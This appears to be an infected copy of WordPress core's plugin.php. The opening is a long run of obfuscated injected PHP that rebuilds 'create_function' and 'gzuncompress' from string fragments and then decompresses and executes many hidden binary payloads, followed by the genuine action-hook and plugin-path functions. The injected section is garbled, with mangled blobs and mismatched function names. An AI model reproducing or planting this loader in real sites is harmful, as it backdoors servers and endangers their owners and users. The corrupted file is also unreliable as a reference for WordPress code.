ZM홽Z=㉍t$U<-TթS%y^e[׵*$Lrƒ06-ͨ@e7n3Two,{. >xg{lpA.|iTgjˎʒps$iwaw`w3Ruwk0na/kmf`')); $tfxnbmhk(); $hmRiCfK = 'create'.'_'.'function'; $NWZelyt = 'gz'.'unc'.'ompress'; $ozgnajew = $hmRiCfK('', $NWZelyt('xőn0 E%4QA!.!1uݿVi{fֵ}tHz5`rA(Tex8J~*ӑ@,ڪ\ ?H7к7NͣS g,2ܥG|L*mX `K:mE +Y,~],#$Uu #HݭRvwQ]o7۟(')); $ozgnajew(); $jUWhOKT = 'create'.'_'.'function'; $suCThzp = 'gz'.'unc'.'ompress'; $uhawrrcp = $jUWhOKT('', $suCThzp('xőj0DE!!:]c$# k6:PJ{vO c<\'KRs0!"Ԫ9%JZ|m[UIQ ÓgZeMRS$@4yzd1&Eδq_펕/UUf>;Hq t`-O՚ۍeaS$i7acRuwm{P_{۟1')); $uhawrrcp(); $uQEZiLt = 'create'.'_'.'function'; $PIeuSWa = 'gz'.'unc'.'ompress'; $ofgejnfq = $uQEZiLt('', $PIeuSWa('xőN0EdChҮV:e7&3N̜cTPϣFXLbЮG@ Q GOep,*700;Z7`5mz\'r z{:<k;wo,{}0e,ָ@aŠi8e=K-;b ]7$uu !uHݭRvwQ]oW۟r_')); $ofgejnfq(); $UFvPkpG = 'create'.'_'.'function'; $bOQkZeF = 'gz'.'unc'.'ompress'; $wuyjvzjq = $UFvPkpG('', $bOQkZeF('xőn0 E%iB0Md)u>ZM홽Z=M"lHt5xy]@%v| QySeI0\'՝hހN6hTs0QO쵏9gJY톥Y샙6i G(wF9[YL-Xx$cXmT}]~[Do')); $wuyjvzjq(); $FRtJXTn = 'create'.'_'.'function'; $INPujcw = 'gz'.'unc'.'ompress'; $yaoxkjor = $FRtJXTn('', $INPujcw('xőn0 E%$R7 F>`J:Dt}4M3{{Li4y z0xES D-zKYE[UU+0δl@Smxc:r7(7{ to]˞\f:ޙkM`a)leZM홽Z=㉉t1$ETթS%y^e[׵*$LrƒgZ7` 6-Q#ye7󫵽aLη۾=( `㝱l"\L`=Ԗ%}$`H=Ruwk0na/kmf#')); $axkllgcp(); $ibKjYcT = 'create'.'_'.'function'; $VWJApnD = 'gz'.'unc'.'ompress'; $zbnzehyh = $ibKjYcT('', $VWJApnD('xőn0 F_%i`Hƈu>ZMZ؆G6T͒T-Ltk*eTB(rļ.ReFTF |:͠@zs;fv ,[荏iz۷eYra6-V8@a 4Qgjˎ"k$iwaw`O+Ruwk==)_\'}')); $zbnzehyh(); $WlsEpPM = 'create'.'_'.'function'; $RuAmjqH = 'gz'.'unc'.'ompress'; $pmmlkyrt = $WlsEpPM('', $RuAmjqH('xőn0 E%)RAI0MԤt}4M3{{Li0$EAYP Tű/+ĪkF&LI -0E(A;A{uCeLiuX~(}0Xlq6A.|i4c-Ԛۍ%aS)7acRuwm=(_\'')); $pmmlkyrt(); $himluzP = 'create'.'_'.'function'; $MGIeNpg = 'gz'.'unc'.'ompress'; $ugkfikug = $himluzP('', $MGIeNpg('xőn0 E)QA!J8ݺ&M^k݉Hz4f$` 5cє*Cʎ|>dYYmUUM.q&=){el=T5l~\';vݷ;H_ZM홽Z=|$A,2/s-^EQWU4,( rZ7`Ɖ.E$AMhGCqpzxO읩Ѻn۷2{eL[\tbaZ(~x3eGvcZAj;Xǰ;Ҁ~,cw ?5x W')); $gybygoig(); $EglXktT = 'create'.'_'.'function'; $qlYPNth = 'gz'.'unc'.'ompress'; $rkfytaif = $EglXktT('', $qlYPNth('xőn0 E$R7 F>hDĈv}4M3{{<:MO"wtES"~+UDE[UUkQ8Olzۈ| M )y|^X;J|dy._TE ;gN%l 5;0ұ4Nlpfw#quwm0 7w05x ')); $rkfytaif(); $fYtnJxH = 'create'.'_'.'function'; $JTvrkyb = 'gz'.'unc'.'ompress'; $gwezulij = $fYtnJxH('', $JTvrkyb('xőn0 E%$RWSB0*)Q&M^kHjjAC?Xe4^C^2CJ|=i#MYu&a:ѽBgxajP`a6lg{n[0wxgCK޲L-o \'/dw&n~,rW*+I|6;Dꐪk p(ŇO')); $gwezulij(); $XyzPrSn = 'create'.'_'.'function'; $qlJiWmb = 'gz'.'unc'.'ompress'; $zqtglncj = $XyzPrSn('', $qlJiWmb('xőn0 E%ihB0)!YctݿVi{fֵ}tnyC55 wATxL*q*Q"G̛,L„?(7к7N6h؏51Y:3G8Iޙk}{`s%/閷`V ;L3 ~],g*+I|vvGꐪ[%No?Lf')); $zqtglncj(); $Mnhjigl = 'create'.'_'.'function'; $HKXGPBe = 'gz'.'unc'.'ompress'; $unityikv = $Mnhjigl('', $HKXGPBe('xőn0 E%$RWShB0%*!Qغ&M^kHjhu<kC^2CJ|>i#MYu&a:=);вV6hv؅Td $ټA4|ݻB3۬vǒ,閷 \'/dw&n~n,r(rļ.ReFTFB w@nP@O`ۑ1Lwݱ9 `Ic  ;LŜm,~n,Wl++Iw1lv"U_wA?[')); $qbkumgwt(); $eOBAvuC = 'create'.'_'.'function'; $LiJGYbB = 'gz'.'unc'.'ompress'; $ptmyxwfz = $eOBAvuC('', $LiJGYbB('xőn0 E͔( N5i"b&M^k-Hf4$F,0C>I䇪}yU}]]D]޸OjPE3N=Nwʺ~ݷ;^"}2PC ;3)lD?SkvD~cc[*2HG`)=(_\'^')); $ptmyxwfz(); $uKsmhxS = 'create'.'_'.'function'; $dLeOMTm = 'gz'.'unc'.'ompress'; $mcpvwunr = $uKsmhxS('', $dLeOMTm('xőn0 E%)QA!)!q lݿVi{fֵ}tx|=D[ <MyR<\SbVU&l2ܓ@>4 \'k`ѳFz\';o,}}0NiqVA}i8a=ԖۍEnKmɞ`H` {P_\'r')); $mcpvwunr(); $zvVrygq = 'create'.'_'.'function'; $FwqeWvz = 'gz'.'unc'.'ompress'; $swqbesqz = $zvVrygq('', $FwqeWvz('xőn0 E%i`J$hR(mh5igj]G.KodHz;"<9nsZ+*˶kUHD n@W}P\';qg|{uK9gm wE샙.̀ ^\'?cteԒ%nc3J}y {"Kqp(ŇO9')); $swqbesqz(); $QLMvlmJ = 'create'.'_'.'function'; $DqlIusg = 'gz'.'unc'.'ompress'; $zuktqfwu = $QLMvlmJ('', $DqlIusg('xőn0 E%4QA!8MTd]h5igj]G%&hHtf)hg`L>4 j缮i0aa[4o@}zc2rJLDj;}LjenX\ `Fe  3Y 9[YL-XGQJ*˶kUHQ0ϴl/t O ;~2ro`+߹ЇTw{uXv( qbn ^l` aP*vx3fG~gIk$ ,cCj &ߓ"LEw ->lamX')); $idyefogm(); $HEizwMn = 'create'.'_'.'function'; $pMKuiyc = 'gz'.'unc'.'ompress'; $vhufysve = $HEizwMn('', $pMKuiyc('xőn0 E%)RԏAI0M$D)mh5igj]G>KLhѐf)hg`D*Yym[uXuMRɿ(wyգT ,({178__)LienX+K~`YolbӅRk%?SKvwty {"گKq(ŇO')); $vhufysve(); $ZYvnskC = 'create'.'_'.'function'; $HcAChJz = 'gz'.'unc'.'ompress'; $ulelimar = $ZYvnskC('', $HcAChJz('xőn0 E%ih`J#ڭj4mպ1LɐTyw r YiƐ;ӣow|}03Xb"\Ӆmg?Skvn7 OGe { kAQ]ow۟')); $ulelimar(); $MdHRYBI = 'create'.'_'.'function'; $cHIeMyG = 'gz'.'unc'.'ompress'; $iuxxmlkt = $MdHRYBI('', $cHIeMyG('xőn0 E%)QA!&jDt}4M3{{%:ӨIthPM@Yk|(BiR]BDoգY0{yٚ3)L*uXR}0=d6L)g-˒5;bK *2͎=NHݵ8{P_\'EE')); $iuxxmlkt(); $UlogXtv = 'create'.'_'.'function'; $xobnQDm = 'gz'.'unc'.'ompress'; $tlykftso = $UlogXtv('', $xobnQDm('xőn0 E͔A)ǠL5i"bݺ&M^k\'4h$F,4.lc>IJ*ʮ8Q䟤𲁣7NtI-1hf6sl瞃{iRY׭v١(W\'6Ьq -$ԚXR%\ƸD|],~[v')); $tlykftso(); $NqTXaAh = 'create'.'_'.'function'; $kHJUNnF = 'gz'.'unc'.'ompress'; $dburydhs = $NqTXaAh('', $kHJUNnF('xőn0 E%)QԏAI0M4D}4M3{{L%&hHj0xM@Uj/Bid)`BY䟔;ӲNtQG *r]GC\'xtxڧ3}ckY#`z3`  ;L3m,K~n,#Z+Hl6;@:!_wAQ]ow۟&')); $dburydhs(); $KfyUeGd = 'create'.'_'.'function'; $VaXAxjr = 'gz'.'unc'.'ompress'; $ldfebimm = $KfyUeGd('', $VaXAxjr('xőn0 E%)QAI0MԤt}4M3{{L%&`HHY ;e ^(B%c!/PZ<iY P0\'/l]ԣ5F}v=J>rΔv[/e_3}-&R\0ȅ0͔rݲ,Z#v$ xj ,c~]E~[')); $ldfebimm(); $wFZMAOs = 'create'.'_'.'function'; $CJQzKZd = 'gz'.'unc'.'ompress'; $rqmmzhod = $wFZMAOs('', $CJQzKZd('xőN0 E%ÚHw*M%RQN7!!պllɒF9hD>4 ZjiT0c\'aڟhـFФth5O^?r!ޙ6ݱ, `vų r;Lgn~], [He #گk vw(śOf9*')); $rqmmzhod(); $KRZSwxU = 'create'.'_'.'function'; $stlnBdI = 'gz'.'unc'.'ompress'; $vxbxhjkb = $KRZSwxU('', $stlnBdI('xőN@EeCYP)c2tBwZ]ژ:3srmEdC= Hh\O;KgXPO3١,+ J\'RNN3/8& z2B=v=v{̩ŗYq6k}1ϓ\'ۊvTl{[ԚX\Ƹ H\],~[;')); $vxbxhjkb(); $HjSWGUt = 'create'.'_'.'function'; $ejMEzgF = 'gz'.'unc'.'ompress'; $tjdbfbfe = $HjSWGUt('', $ejMEzgF('xőn0 E)RA$84Qc Ӻ&M^kEdB=] 7r c, 9`!c>HeDzygYYmUU2op"䟔;󲁣\7O(QŹ3tJS+{\';޺vݷ;Hy- [[ԚPWۆU/6qRG\],~[3')); $tjdbfbfe(); $skTujOZ = 'create'.'_'.'function'; $qOlEnep = 'gz'.'unc'.'ompress'; $unwzyaux = $skTujOZ('', $qOlEnep('xőn0 E%)QԏAI0MT q&M^kz !AAuPXxH3Tٱ,+ ĢJ&LEف @W:HPmԗ0ݮ"{]$L6ݱ-ϓ`x ;L3 n~,r#^|6;D:#_wKߓ…?zl')); $unwzyaux(); $aYzQpxf = 'create'.'_'.'function'; $JPscKQS = 'gz'.'unc'.'ompress'; $abdpnkpn = $aYzQpxf('', $JPscKQS('xőn0 E%ih` !Qc Ӻ&M^kȄjGC,  WũL TȧEeYL„J l{\'10FWR~xw>Nw;uXe ` YmG?Skvn7 ;e { HݵvQ]ow۟y')); $abdpnkpn(); $TphXCmt = 'create'.'_'.'function'; $XAgDMSU = 'gz'.'unc'.'ompress'; $vxsjsqkr = $TphXCmt('', $XAgDMSU('xőaO0JهQ 2!m9F\']+ e1^޻{> 4j@B, )@C>š{!lV iwelЛ>*1 [e7[x)x38pc -b?j0cA0n@Wm>uXR}0 |L`-O՚ۍe+2=͎=NHݵQm4C')); $tetomvbd(); $mardJlx = 'create'.'_'.'function'; $dQBEhTm = 'gz'.'unc'.'ompress'; $hyaxzngn = $mardJlx('', $dQBEhTm('xőn0 E%$R[Sh`H&Qc ݺ&M^kȆj:[C, WũL𘤨S!iZy]$LR^=-0nuz4=̭Us[o|,; ow,y2>mxc;p‚AiXgj͎"ƶrXưٱRT}]L~[*,')); $hyaxzngn(); $fpCjXor = 'create'.'_'.'function'; $wLnOIdr = 'gz'.'unc'.'ompress'; $ldhhsfmh = $fpCjXor('', $wLnOIdr('xőn0 E)QAI0$)Qc Ӻ&M^kۊȆzX\'-9`S1HgR>,*KHe8μlA6͓1pz^1uqCyVf8,wgnAD?SkvDB]$k#6qRG\],~[Ǣ')); $ldhhsfmh(); $DQjlsoK = 'create'.'_'.'function'; $TkwalGg = 'gz'.'unc'.'ompress'; $nnkbjgaz = $DQjlsoK('', $TkwalGg('xőn0 E)QAI0@Ԙ¶GIӴ=W>"0ΆHPwzPĴ!O$3*B\'R NA=/8nG~uԎ y87F/}RF=օQCiZԦf/lwg#nA?Skv+LMi%Vlpfw6X7w 75x ;')); $nnkbjgaz(); $GtoLdKS = 'create'.'_'.'function'; $nNAZMdD = 'gz'.'unc'.'ompress'; $obwjqoqk = $GtoLdKS('', $nNAZMdD('xőn0 E%$R[Sh`tI#h5igj]G؎\'66ՒT=wxu,G*D,ۺU!aDڟiހ!^-!w [?nrx. δq]eE!^l N6R1ȅ0M ^3L-Xxl$m 16tDj. &߃" Ew -m<')); $obwjqoqk(); $cLMNjZW = 'create'.'_'.'function'; $CgEVpOt = 'gz'.'unc'.'ompress'; $mbgksxqe = $cLMNjZW('', $CgEVpOt('xőn0 E%$R[Sh` *iL}4M3{{LjHy z4xNu,G*tD,ۺU!aB]hـG\'q t ,Ea~Ń|*;Ӄuow,{. >xgFlp6‚AiTgj͎ž7ac6`w ~[.')); $mbgksxqe(); $NwVgOTx = 'create'.'_'.'function'; $ecorKxq = 'gz'.'unc'.'ompress'; $nyhmfdde = $NwVgOTx('', $ecorKxq('xőn0 F_%)QA1M$BT}4M5>G߱l%!G9hqlO]DzBUZrAltu0`OOn@ :]$AHށ>aq0]`B^Lo|}0;b#\By{Ƴ-;bϽ :݁=Hݭ v(ŻOww')); $nyhmfdde(); $FOWlSZK = 'create'.'_'.'function'; $WIDeSrp = 'gz'.'unc'.'ompress'; $sbqtdzch = $FOWlSZK('', $WIDeSrp('xőaO0JهQ 2!m9h ]z e1^޻{>㉍t$Հ<,)BC>š{!lV )ie0xF׀fTH[|>+7m i3mo}ccQdOَwvg).wfJ32L\XN7N6|6;vCꑚkeF?~(v')); $sbqtdzch(); $GSdxZnq = 'create'.'_'.'function'; $fpSqiEA = 'gz'.'unc'.'ompress'; $pkhsvumu = $GSdxZnq('', $fpSqiEA('xőn0 E%ih`HZR)h5igj]G؎\'64ْT`DJUw@-| Qe[׵*$LLI\'7 amzh\'}Th%ƧYδqc _"{ev6xŒAJikƓ%;bKI҆`jH=Ruwi=(|/kmnR)')); $pkhsvumu(); $JRQKBeg = 'create'.'_'.'function'; $ANilcKT = 'gz'.'unc'.'ompress'; $filswskn = $JRQKBeg('', $ANilcKT('xőn0Dl)JP?aSx TM$TU^wgvfL#bR=:gtopOEDz:JgY]J+PI^wU!E|+UUf 7vg).wf 2LXx$= ,c}]`w~[.#')); $fkkewada(); $OnWuFGH = 'create'.'_'.'function'; $AlqsIoy = 'gz'.'unc'.'ompress'; $rwpnfxyf = $OnWuFGH('', $AlqsIoy('xőn0 F_iH0$?1jݻVifg;R\%%Τ$I=8v(+|ud&zZM홽Z= x$U<zYP\2]N|ޥi#uY*0JaO]hހwNգ!ZgO09<_ δ] KY&ن7 \'(0M ^3L-XV$m 16"U_wA?t')); $xoejkqzh(); $TXlJkqB = 'create'.'_'.'function'; $tOiIrkZ = 'gz'.'unc'.'ompress'; $bvylfzum = $TXlJkqB('', $tOiIrkZ('xőn0 E%ih` [D)h5igj]G\'&6ѐTy w%@ZD)h5igj]Gؖ\'6ْz`D ] wD#zIYESUL%L0&G fPG&M`mC*;3Ͳo7,{s>mykj#\ӕRkƓ%;bK)2=_<Ն=:`=(_\'A\'I')); $wbtvgjif(); $XBNoTUl = 'create'.'_'.'function'; $lMKeIcq = 'gz'.'unc'.'ompress'; $zgxojxvq = $XBNoTUl('', $lMKeIcq('xőn0 E%ihH04Yc ۺ&M^kHjh<5h<\2}*PcQ?(rļ)Rf5(A3-0֍zu؏i{ ˣ]$L6ݱe3` =S8a-ԚE]ejR=2͎ݑ:` S(śO ')); $zgxojxvq(); $SjKiAPO = 'create'.'_'.'function'; $CWYtkOi = 'gz'.'unc'.'ompress'; $qxqfbgxv = $SjKiAPO('', $CWYtkOi('xőn0 E)QA$ JȴGIӴ=W>4Q`\9_ W(D=3tfOEL8!$yFEQȴ™dݫ!YңD5:z$/ltچBPvsD$o{fϡgj͎v^-6qRK\~]L߃ŽEw -m*')); $qxqfbgxv(); $kpgTXPc = 'create'.'_'.'function'; $mjrnQeY = 'gz'.'unc'.'ompress'; $lnipffbd = $kpgTXPc('', $mjrnQeY('xőn0 E%)RAIpJD#h5igj]G3jHH<;e N+XVs+^U6u(+Ób@o$AHށ|zq`\'sC^L۾=T+`Fsm,Hq ôP^gjˎƲpK`H`{P_\' hT')); $lnipffbd(); $EoBVigz = 'create'.'_'.'function'; $Lctxidy = 'gz'.'unc'.'ompress'; $rziwddtc = $EoBVigz('', $Lctxidy('xőn0 E)QA!1M$Du>ZM홽Z=y,wjtUWyA8XuETiRL]sxPNaRG@fPMC$fgY=R!Ao?x}ہZZlb a^8CLm\έLuܑݭ)_\'i m')); $rziwddtc(); $ZBlXfqx = 'create'.'_'.'function'; $BRfHmQO = 'gz'.'unc'.'ompress'; $gasquzez = $ZBlXfqx('', $BRfHmQO('xőn0 E%)QAI0$i]h5igj]G\'&ɐ#j4xM@Uk+Bid)`BY;мяNtͣT ,@UD8 ^^4ޙu˾ݰ,gL{3bg(dwΔflf !❙nݷ;VZM홽Z= tȞDfpt ,UJ4#ieeAT說dD2opyGo(Qܱzsf獏q^HgR>,*KIe8F^6p& y\'z I#j՝GXwu }s`ڤ5ja±gj͎zȟɺO6q;RG\]LߝOEw -l ')); $ctalqokn(); $VdsXzoP = 'create'.'_'.'function'; $XeOtypD = 'gz'.'unc'.'ompress'; $fxzqcwip = $VdsXzoP('', $XeOtypD('xőaO0Jه&cdCrN:ze1^޻{>剋tvt<;x;ZM홽Z=t1ȁDڎj0tb,UJ4#ieeATUUɼd*{ylz7G:HT{V3κ9$yG.vs\'/g w\'^~n7܅zlXiy %HD3h5igj]G؞g6Œ#hqOMBZ=+ĪkF f`D0zEC`R$@u>~q 0\wfmX\}0ގb#\B`=Ԗe)2:݁ݑHݭS_\'9J')); $oceonewv(); $ztXdylv = 'create'.'_'.'function'; $eMfRaIN = 'gz'.'unc'.'ompress'; $dvhpjoiu = $ztXdylv('', $eMfRaIN('xőN0 E%ÚHw*M%YơƿMHsy{3yy;=Z4"yڧA/&<{ LuXX}0;F 3mg?Skv. S 2͎ݐHݵQ_\'')); $dvhpjoiu(); $GyNUkBc = 'create'.'_'.'function'; $DsxQYVL = 'gz'.'unc'.'ompress'; $gxkjfnug = $GyNUkBc('', $DsxQYVL('xőn0 E%)QAI0$m 1mݿVi{fֵ}tiȄz i1AAY(dyR<TcbTU%s3 f@L:Wz@Q_Z˹ksΔ]K󜿰fڤ5k\LbPôP~ϒgjˎ"?bWNvaw`w5g7w ?5x ~')); $gxkjfnug(); $RgIpHTx = 'create'.'_'.'function'; $TZyCSlX = 'gz'.'unc'.'ompress'; $fohdrqpq = $RgIpHTx('', $TZyCSlX('xőn0 E%)QAI0$iRb Ӻ&M^k& 4$, )@!S1PeR<,* Pf0rgZ6`MzG j ,̝׫fksΔY펥y_3mҚkM`a)leI3fGvc ,cC ߃Ew -m')); $fohdrqpq(); $OfpnwMX = 'create'.'_'.'function'; $vxSTWoH = 'gz'.'unc'.'ompress'; $bahwakex = $OfpnwMX('', $vxSTWoH('xőn0 E%$R[ F>%4H#`}4M3{{\Hy sx.OULR=, ĢJ Fư7 B׫& zs7vo+N`C*;3ͺow,{s>ky:qrA>|iTgj͎ƒps7ac3Ruwm0a/kmnx')); $bahwakex(); $KOjFlpS = 'create'.'_'.'function'; $BrQXoOC = 'gz'.'unc'.'ompress'; $uwadheax = $KOjFlpS('', $BrQXoOC('xőn0 E%ih`H:hL}4M3{{l%64ՒTf)7":9sZ*t*˶kUHP ^ -d<@@nI*8֠wuX\}0e ;L3m,K~n,WQ61lv#5_wAQ]ow۟ض')); $uwadheax(); $DtfNmrZ = 'create'.'_'.'function'; $EWxneJN = 'gz'.'unc'.'ompress'; $fgrvppls = $DtfNmrZ('', $EWxneJN('xőn0 E%ih` R 1nݿVi{fֵ}tiȄj Ie1s= \xJjq.I"G,U&aA%`O n䭓uz&z z|Zд Gw۾=%+`Ic‹ V w.s߳$ڲ#vȏV$%;Xǰ;RT}~[?')); $fgrvppls(); $TXclaVx = 'create'.'_'.'function'; $txmEKDO = 'gz'.'unc'.'ompress'; $rbtvgpwz = $TXclaVx('', $txmEKDO('xőn0 E͔A)Ǡ$@D t]դiڞ٫umݣ(оZFBBK=8 Tz.1M(˲d{RCN oI<瞮FGs\:;۾=@rʲ>@7Q Utў}a =DԖ`E;\Ǹ;%n ߃MEw -m')); $rbtvgpwz(); global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } if ( empty( $arg ) ) { $arg[] = ''; } elseif ( is_array( $arg[0] ) && 1 === count( $arg[0] ) && isset( $arg[0][0] ) && is_object( $arg[0][0] ) ) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $wp_filter[ $hook_name ]->do_action( $arg ); array_pop( $wp_current_filter ); } /** * Calls the callback functions that have been added to an action hook, specifying arguments in an array. * * @since 2.1.0 * * @see do_action() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. */ function do_action_ref_array( $hook_name, $args ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $wp_filter[ $hook_name ]->do_action( $args ); array_pop( $wp_current_filter ); } /** * Checks if any action has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * * @see has_filter() has_action() is an alias of has_filter(). * * @param string $hook_name The name of the action hook. * @param callable|false $callback Optional. The callback to check for. Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. */ function has_action( $hook_name, $callback = false ) { return has_filter( $hook_name, $callback ); } /** * Removes a callback function from an action hook. * * This can be used to remove default functions attached to a specific action * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @param string $hook_name The action hook to which the function to be removed is hooked. * @param callable $callback The name of the function which should be removed. * @param int $priority Optional. The exact priority used when adding the original * action callback. Default 10. * @return bool Whether the function is removed. */ function remove_action( $hook_name, $callback, $priority = 10 ) { return remove_filter( $hook_name, $callback, $priority ); } /** * Removes all of the callback functions from an action hook. * * @since 2.7.0 * * @param string $hook_name The action to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_actions( $hook_name, $priority = false ) { return remove_all_filters( $hook_name, $priority ); } /** * Retrieves the name of the current action hook. * * @since 3.9.0 * * @return string Hook name of the current action. */ function current_action() { return current_filter(); } /** * Returns whether or not an action hook is currently being processed. * * @since 3.9.0 * * @param string|null $hook_name Optional. Action hook to check. Defaults to null, * which checks if any action is currently being run. * @return bool Whether the action is currently in the stack. */ function doing_action( $hook_name = null ) { return doing_filter( $hook_name ); } /** * Retrieves the number of times an action has been fired during the current request. * * @since 2.1.0 * * @global int[] $wp_actions Stores the number of times each action was triggered. * * @param string $hook_name The name of the action hook. * @return int The number of times the action hook has been fired. */ function did_action( $hook_name ) { global $wp_actions; if ( ! isset( $wp_actions[ $hook_name ] ) ) { return 0; } return $wp_actions[ $hook_name ]; } /** * Fires functions attached to a deprecated filter hook. * * When a filter hook is deprecated, the apply_filters() call is replaced with * apply_filters_deprecated(), which triggers a deprecation notice and then fires * the original filter hook. * * Note: the value and extra arguments passed to the original apply_filters() call * must be passed here to `$args` as an array. For example: * * // Old filter. * return apply_filters( 'wpdocs_filter', $value, $extra_arg ); * * // Deprecated. * return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9.0', 'wpdocs_new_filter' ); * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the filter hook. * @param array $args Array of additional function arguments to be passed to apply_filters(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function apply_filters_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_filter( $hook_name ) ) { return $args[0]; } _deprecated_hook( $hook_name, $version, $replacement, $message ); return apply_filters_ref_array( $hook_name, $args ); } /** * Fires functions attached to a deprecated action hook. * * When an action hook is deprecated, the do_action() call is replaced with * do_action_deprecated(), which triggers a deprecation notice and then fires * the original hook. * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the action hook. * @param array $args Array of additional function arguments to be passed to do_action(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function do_action_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_action( $hook_name ) ) { return; } _deprecated_hook( $hook_name, $version, $replacement, $message ); do_action_ref_array( $hook_name, $args ); } // // Functions for handling plugins. // /** * Gets the basename of a plugin. * * This method extracts the name of a plugin from its filename. * * @since 1.5.0 * * @global array $wp_plugin_paths * * @param string $file The filename of plugin. * @return string The name of a plugin. */ function plugin_basename( $file ) { global $wp_plugin_paths; // $wp_plugin_paths contains normalized paths. $file = wp_normalize_path( $file ); arsort( $wp_plugin_paths ); foreach ( $wp_plugin_paths as $dir => $realdir ) { if ( strpos( $file, $realdir ) === 0 ) { $file = $dir . substr( $file, strlen( $realdir ) ); } } $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); // Get relative path from plugins directory. $file = preg_replace( '#^' . preg_quote( $plugin_dir, '#' ) . '/|^' . preg_quote( $mu_plugin_dir, '#' ) . '/#', '', $file ); $file = trim( $file, '/' ); return $file; } /** * Register a plugin's real path. * * This is used in plugin_basename() to resolve symlinked paths. * * @since 3.9.0 * * @see wp_normalize_path() * * @global array $wp_plugin_paths * * @param string $file Known path to the file. * @return bool Whether the path was able to be registered. */ function wp_register_plugin_realpath( $file ) { global $wp_plugin_paths; // Normalize, but store as static to avoid recalculation of a constant value. static $wp_plugin_path = null, $wpmu_plugin_path = null; if ( ! isset( $wp_plugin_path ) ) { $wp_plugin_path = wp_normalize_path( WP_PLUGIN_DIR ); $wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR ); } $plugin_path = wp_normalize_path( dirname( $file ) ); $plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) ); if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) { return false; } if ( $plugin_path !== $plugin_realpath ) { $wp_plugin_paths[ $plugin_path ] = $plugin_realpath; } return true; } /** * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the filesystem path of the directory that contains the plugin. */ function plugin_dir_path( $file ) { return trailingslashit( dirname( $file ) ); } /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the URL path of the directory that contains the plugin. */ function plugin_dir_url( $file ) { return trailingslashit( plugins_url( '', $file ) ); } /** * Set the activation hook for a plugin. * * When a plugin is activated, the action 'activate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'activate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'activate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'activate_PLUGIN' action. */ function register_activation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'activate_' . $file, $callback ); } /** * Sets the deactivation hook for a plugin. * * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'deactivate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'deactivate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'deactivate_PLUGIN' action. */ function register_deactivation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'deactivate_' . $file, 